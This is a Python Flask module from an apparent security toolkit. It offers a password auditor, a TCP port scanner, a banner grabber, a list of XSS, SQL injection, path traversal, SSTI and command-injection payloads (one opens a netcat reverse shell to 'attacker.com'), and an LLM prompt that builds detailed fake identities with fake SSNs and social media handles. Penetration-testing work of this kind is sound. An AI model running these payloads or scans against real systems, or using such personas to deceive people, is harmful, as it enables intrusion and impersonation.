Full security platform with web dashboard, 16 Flask blueprints, 26 modules, autonomous AI agent, WebUSB hardware support, and Archon Android companion app. Includes Hash Toolkit, debug console, anti-stalkerware shield, Metasploit/RouterSploit integration, WireGuard VPN, OSINT reconnaissance, and multi-backend LLM support. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
412 lines
14 KiB
Python
412 lines
14 KiB
Python
"""Simulate category route - password audit, port scan, banner grab, payload generation, legendary creator."""
|
||
|
||
import json
|
||
import socket
|
||
import hashlib
|
||
from flask import Blueprint, render_template, request, jsonify, Response
|
||
from web.auth import login_required
|
||
|
||
simulate_bp = Blueprint('simulate', __name__, url_prefix='/simulate')
|
||
|
||
|
||
@simulate_bp.route('/')
|
||
@login_required
|
||
def index():
|
||
from core.menu import MainMenu
|
||
menu = MainMenu()
|
||
menu.load_modules()
|
||
modules = {k: v for k, v in menu.modules.items() if v.category == 'simulate'}
|
||
return render_template('simulate.html', modules=modules)
|
||
|
||
|
||
@simulate_bp.route('/password', methods=['POST'])
|
||
@login_required
|
||
def password_audit():
|
||
"""Audit password strength."""
|
||
data = request.get_json(silent=True) or {}
|
||
password = data.get('password', '')
|
||
if not password:
|
||
return jsonify({'error': 'No password provided'})
|
||
|
||
score = 0
|
||
feedback = []
|
||
|
||
# Length
|
||
if len(password) >= 16:
|
||
score += 3
|
||
feedback.append('+ Excellent length (16+)')
|
||
elif len(password) >= 12:
|
||
score += 2
|
||
feedback.append('+ Good length (12+)')
|
||
elif len(password) >= 8:
|
||
score += 1
|
||
feedback.append('~ Minimum length (8+)')
|
||
else:
|
||
feedback.append('- Too short (<8)')
|
||
|
||
# Character diversity
|
||
has_upper = any(c.isupper() for c in password)
|
||
has_lower = any(c.islower() for c in password)
|
||
has_digit = any(c.isdigit() for c in password)
|
||
has_special = any(c in '!@#$%^&*()_+-=[]{}|;:,.<>?' for c in password)
|
||
|
||
if has_upper:
|
||
score += 1; feedback.append('+ Contains uppercase')
|
||
else:
|
||
feedback.append('- No uppercase letters')
|
||
if has_lower:
|
||
score += 1; feedback.append('+ Contains lowercase')
|
||
else:
|
||
feedback.append('- No lowercase letters')
|
||
if has_digit:
|
||
score += 1; feedback.append('+ Contains numbers')
|
||
else:
|
||
feedback.append('- No numbers')
|
||
if has_special:
|
||
score += 2; feedback.append('+ Contains special characters')
|
||
else:
|
||
feedback.append('~ No special characters')
|
||
|
||
# Common patterns
|
||
common = ['password', '123456', 'qwerty', 'letmein', 'admin', 'welcome', 'monkey', 'dragon']
|
||
if password.lower() in common:
|
||
score = 0
|
||
feedback.append('- Extremely common password!')
|
||
|
||
# Sequential
|
||
if any(password[i:i+3].lower() in 'abcdefghijklmnopqrstuvwxyz' for i in range(len(password)-2)):
|
||
score -= 1; feedback.append('~ Contains sequential letters')
|
||
if any(password[i:i+3] in '0123456789' for i in range(len(password)-2)):
|
||
score -= 1; feedback.append('~ Contains sequential numbers')
|
||
|
||
# Keyboard patterns
|
||
for pattern in ['qwerty', 'asdf', 'zxcv', '1qaz', '2wsx']:
|
||
if pattern in password.lower():
|
||
score -= 1; feedback.append('~ Contains keyboard pattern')
|
||
break
|
||
|
||
score = max(0, min(10, score))
|
||
strength = 'STRONG' if score >= 8 else 'MODERATE' if score >= 5 else 'WEAK'
|
||
|
||
hashes = {
|
||
'md5': hashlib.md5(password.encode()).hexdigest(),
|
||
'sha1': hashlib.sha1(password.encode()).hexdigest(),
|
||
'sha256': hashlib.sha256(password.encode()).hexdigest(),
|
||
}
|
||
|
||
return jsonify({
|
||
'score': score,
|
||
'strength': strength,
|
||
'feedback': feedback,
|
||
'hashes': hashes,
|
||
})
|
||
|
||
|
||
@simulate_bp.route('/portscan', methods=['POST'])
|
||
@login_required
|
||
def port_scan():
|
||
"""TCP port scan."""
|
||
data = request.get_json(silent=True) or {}
|
||
target = data.get('target', '').strip()
|
||
port_range = data.get('ports', '1-1024').strip()
|
||
|
||
if not target:
|
||
return jsonify({'error': 'No target provided'})
|
||
|
||
try:
|
||
start_port, end_port = map(int, port_range.split('-'))
|
||
except Exception:
|
||
return jsonify({'error': 'Invalid port range (format: start-end)'})
|
||
|
||
# Limit scan range for web UI
|
||
if end_port - start_port > 5000:
|
||
return jsonify({'error': 'Port range too large (max 5000 ports)'})
|
||
|
||
try:
|
||
ip = socket.gethostbyname(target)
|
||
except Exception:
|
||
return jsonify({'error': f'Could not resolve {target}'})
|
||
|
||
services = {
|
||
21: 'ftp', 22: 'ssh', 23: 'telnet', 25: 'smtp', 53: 'dns',
|
||
80: 'http', 110: 'pop3', 143: 'imap', 443: 'https', 445: 'smb',
|
||
3306: 'mysql', 3389: 'rdp', 5432: 'postgresql', 8080: 'http-proxy',
|
||
}
|
||
|
||
open_ports = []
|
||
total = end_port - start_port + 1
|
||
|
||
for port in range(start_port, end_port + 1):
|
||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||
sock.settimeout(0.5)
|
||
result = sock.connect_ex((ip, port))
|
||
if result == 0:
|
||
open_ports.append({
|
||
'port': port,
|
||
'service': services.get(port, 'unknown'),
|
||
'status': 'open',
|
||
})
|
||
sock.close()
|
||
|
||
return jsonify({
|
||
'target': target,
|
||
'ip': ip,
|
||
'open_ports': open_ports,
|
||
'scanned': total,
|
||
})
|
||
|
||
|
||
@simulate_bp.route('/banner', methods=['POST'])
|
||
@login_required
|
||
def banner_grab():
|
||
"""Grab service banner."""
|
||
data = request.get_json(silent=True) or {}
|
||
target = data.get('target', '').strip()
|
||
port = data.get('port', 80)
|
||
|
||
if not target:
|
||
return jsonify({'error': 'No target provided'})
|
||
|
||
try:
|
||
port = int(port)
|
||
except Exception:
|
||
return jsonify({'error': 'Invalid port'})
|
||
|
||
try:
|
||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||
sock.settimeout(5)
|
||
sock.connect((target, port))
|
||
|
||
if port in [80, 443, 8080, 8443]:
|
||
sock.send(b"HEAD / HTTP/1.1\r\nHost: " + target.encode() + b"\r\n\r\n")
|
||
else:
|
||
sock.send(b"\r\n")
|
||
|
||
banner = sock.recv(1024).decode('utf-8', errors='ignore')
|
||
sock.close()
|
||
|
||
return jsonify({'banner': banner or 'No banner received'})
|
||
|
||
except socket.timeout:
|
||
return jsonify({'error': 'Connection timed out'})
|
||
except ConnectionRefusedError:
|
||
return jsonify({'error': 'Connection refused'})
|
||
except Exception as e:
|
||
return jsonify({'error': str(e)})
|
||
|
||
|
||
@simulate_bp.route('/payloads', methods=['POST'])
|
||
@login_required
|
||
def generate_payloads():
|
||
"""Generate test payloads."""
|
||
data = request.get_json(silent=True) or {}
|
||
payload_type = data.get('type', 'xss').lower()
|
||
|
||
payloads_db = {
|
||
'xss': [
|
||
'<script>alert(1)</script>',
|
||
'<img src=x onerror=alert(1)>',
|
||
'<svg onload=alert(1)>',
|
||
'"><script>alert(1)</script>',
|
||
"'-alert(1)-'",
|
||
'<body onload=alert(1)>',
|
||
'{{constructor.constructor("alert(1)")()}}',
|
||
],
|
||
'sqli': [
|
||
"' OR '1'='1",
|
||
"' OR '1'='1' --",
|
||
"'; DROP TABLE users; --",
|
||
"1' ORDER BY 1--",
|
||
"1 UNION SELECT null,null,null--",
|
||
"' AND 1=1 --",
|
||
"admin'--",
|
||
],
|
||
'cmdi': [
|
||
"; ls -la",
|
||
"| cat /etc/passwd",
|
||
"& whoami",
|
||
"`id`",
|
||
"$(whoami)",
|
||
"; ping -c 3 127.0.0.1",
|
||
"| nc -e /bin/sh attacker.com 4444",
|
||
],
|
||
'traversal': [
|
||
"../../../etc/passwd",
|
||
"..\\..\\..\\windows\\system32\\config\\sam",
|
||
"....//....//....//etc/passwd",
|
||
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
|
||
"..%252f..%252f..%252fetc/passwd",
|
||
"/etc/passwd%00",
|
||
],
|
||
'ssti': [
|
||
"{{7*7}}",
|
||
"${7*7}",
|
||
"{{config}}",
|
||
"{{self.__class__.__mro__}}",
|
||
"<%= 7*7 %>",
|
||
"{{request.application.__globals__}}",
|
||
],
|
||
}
|
||
|
||
payloads = payloads_db.get(payload_type)
|
||
if payloads is None:
|
||
return jsonify({'error': f'Unknown payload type: {payload_type}'})
|
||
|
||
return jsonify({'type': payload_type, 'payloads': payloads})
|
||
|
||
|
||
# ── Legendary Creator ─────────────────────────────────────────────────────────
|
||
|
||
_LEGEND_PROMPT = """\
|
||
You are generating a completely fictional, synthetic person profile for software testing \
|
||
and simulation purposes. Every detail must be internally consistent. Use real city names \
|
||
and real school/university names that genuinely exist in those cities. All SSNs, passport \
|
||
numbers, and IDs are obviously fake and for testing only.
|
||
|
||
SEED PARAMETERS (apply these if provided, otherwise invent):
|
||
{seeds}
|
||
|
||
Generate ALL of the following sections in order. Be specific, thorough, and consistent. \
|
||
Verify that graduation years match the DOB. Friend ages should be within 5 years of the \
|
||
subject. Double-check that named schools exist in the stated cities.
|
||
|
||
## IDENTITY
|
||
Full Legal Name:
|
||
Preferred Name / Nickname:
|
||
Date of Birth:
|
||
Age:
|
||
Gender:
|
||
Nationality:
|
||
Ethnicity:
|
||
Fake SSN: [XXX-XX-XXXX]
|
||
Fake Passport Number:
|
||
Fake Driver's License: [State + alphanumeric]
|
||
|
||
## PHYSICAL DESCRIPTION
|
||
Height:
|
||
Weight:
|
||
Build: [slim/athletic/average/stocky/heavyset]
|
||
Eye Color:
|
||
Hair Color & Style:
|
||
Distinguishing Features: [birthmarks, scars, tattoos, or "None"]
|
||
|
||
## CONTACT INFORMATION
|
||
Cell Phone: [(XXX) XXX-XXXX]
|
||
Work Phone:
|
||
Primary Email: [firstname.lastname@domain.com style]
|
||
Secondary Email: [personal/fun email]
|
||
Home Address: [Number Street, City, State ZIP — use a real city]
|
||
City of Residence:
|
||
|
||
## ONLINE PRESENCE
|
||
Primary Username: [one consistent handle used across platforms]
|
||
Instagram Handle: @[handle] — [posting style and frequency, e.g. "posts 3x/week, mostly food and travel"]
|
||
Twitter/X: @[handle] — [posting style, topics, follower count estimate]
|
||
LinkedIn: linkedin.com/in/[handle] — [headline and connection count estimate]
|
||
Facebook: [privacy setting + usage description]
|
||
Reddit: u/[handle] — [list 3-4 subreddits they frequent with reasons]
|
||
Gaming / Other: [platform + gamertag, or "N/A"]
|
||
|
||
## EDUCATION HISTORY
|
||
[Chronological, earliest first. Confirm school names exist in stated cities.]
|
||
Elementary School: [Real school name], [City, State] — [Years, e.g. 2001–2007]
|
||
Middle School: [Real school name], [City, State] — [Years]
|
||
High School: [Real school name], [City, State] — Graduated: [YYYY] — GPA: [X.X] — [1 extracurricular]
|
||
Undergraduate: [Real university/college], [City, State] — [Major] — Graduated: [YYYY] — GPA: [X.X] — [2 activities/clubs]
|
||
Graduate / Certifications: [if applicable, or "None"]
|
||
|
||
## EMPLOYMENT HISTORY
|
||
[Most recent first. 2–4 positions. Include real or plausible company names.]
|
||
Current: [Job Title] at [Company], [City, State] — [Year]–Present
|
||
Role summary: [2 sentences on responsibilities]
|
||
Previous 1: [Job Title] at [Company], [City, State] — [Year]–[Year]
|
||
Role summary: [1 sentence]
|
||
Previous 2: [if applicable]
|
||
|
||
## FAMILY
|
||
Mother: [Full name], [Age], [Occupation], lives in [City, State]
|
||
Father: [Full name], [Age], [Occupation or "Deceased (YYYY)"], lives in [City, State]
|
||
Siblings: [Name (age) — brief description each, or "Only child"]
|
||
Relationship Status: [Single / In a relationship with [Name] / Married to [Name] since [Year]]
|
||
Children: [None, or Name (age) each]
|
||
|
||
## FRIENDS (5 close friends)
|
||
[For each: Full name, age, occupation, city. How they met (be specific: class, job, app, event). \
|
||
Relationship dynamic. One memorable shared experience.]
|
||
1. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory]
|
||
2. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory]
|
||
3. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory]
|
||
4. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory]
|
||
5. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory]
|
||
|
||
## HOBBIES & INTERESTS
|
||
[7–9 hobbies with specific detail — not just "cooking" but "has been making sourdough for 2 years, \
|
||
maintains a starter named 'Gerald', frequents r/sourdough". Include brand preferences, skill level, \
|
||
communities involved in.]
|
||
1.
|
||
2.
|
||
3.
|
||
4.
|
||
5.
|
||
6.
|
||
7.
|
||
|
||
## PERSONALITY & PSYCHOLOGY
|
||
MBTI Type: [e.g. INFJ] — [brief explanation of how it shows in daily life]
|
||
Enneagram: [e.g. Type 2w3]
|
||
Key Traits: [5–7 adjectives, both positive and realistic flaws]
|
||
Communication Style: [brief description]
|
||
Deepest Fear: [specific, personal]
|
||
Biggest Ambition: [specific]
|
||
Political Leaning: [brief, not extreme]
|
||
Spiritual / Religious: [brief]
|
||
Quirks: [3 specific behavioral quirks — the more oddly specific the better]
|
||
|
||
## BACKSTORY NARRATIVE
|
||
[250–350 word first-person "About Me" narrative. Write as if this person is introducing themselves \
|
||
on a personal website or in a journal. Reference specific people, places, and memories from the \
|
||
profile above for consistency. It should feel real, slightly imperfect, and human.]
|
||
|
||
"""
|
||
|
||
|
||
@simulate_bp.route('/legendary-creator')
|
||
@login_required
|
||
def legendary_creator():
|
||
return render_template('legendary_creator.html')
|
||
|
||
|
||
@simulate_bp.route('/legendary/generate', methods=['POST'])
|
||
@login_required
|
||
def legendary_generate():
|
||
"""Stream a Legend profile from the LLM via SSE."""
|
||
data = request.get_json(silent=True) or {}
|
||
|
||
# Build seed string from user inputs
|
||
seed_parts = []
|
||
for key, label in [
|
||
('gender', 'Gender'), ('nationality', 'Nationality'), ('ethnicity', 'Ethnicity'),
|
||
('age', 'Age'), ('profession', 'Profession/Industry'), ('city', 'City/Region'),
|
||
('education', 'Education Level'), ('interests', 'Interests/Hobbies'),
|
||
('notes', 'Additional Notes'),
|
||
]:
|
||
val = data.get(key, '').strip()
|
||
if val:
|
||
seed_parts.append(f"- {label}: {val}")
|
||
|
||
seeds = '\n'.join(seed_parts) if seed_parts else '(none — generate freely)'
|
||
prompt = _LEGEND_PROMPT.format(seeds=seeds)
|
||
|
||
def generate():
|
||
try:
|
||
from core.llm import get_llm
|
||
llm = get_llm()
|
||
for token in llm.chat(prompt, stream=True):
|
||
yield f"data: {json.dumps({'token': token})}\n\n"
|
||
yield f"data: {json.dumps({'done': True})}\n\n"
|
||
except Exception as exc:
|
||
yield f"data: {json.dumps({'error': str(exc)})}\n\n"
|
||
|
||
return Response(generate(), mimetype='text/event-stream',
|
||
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})
|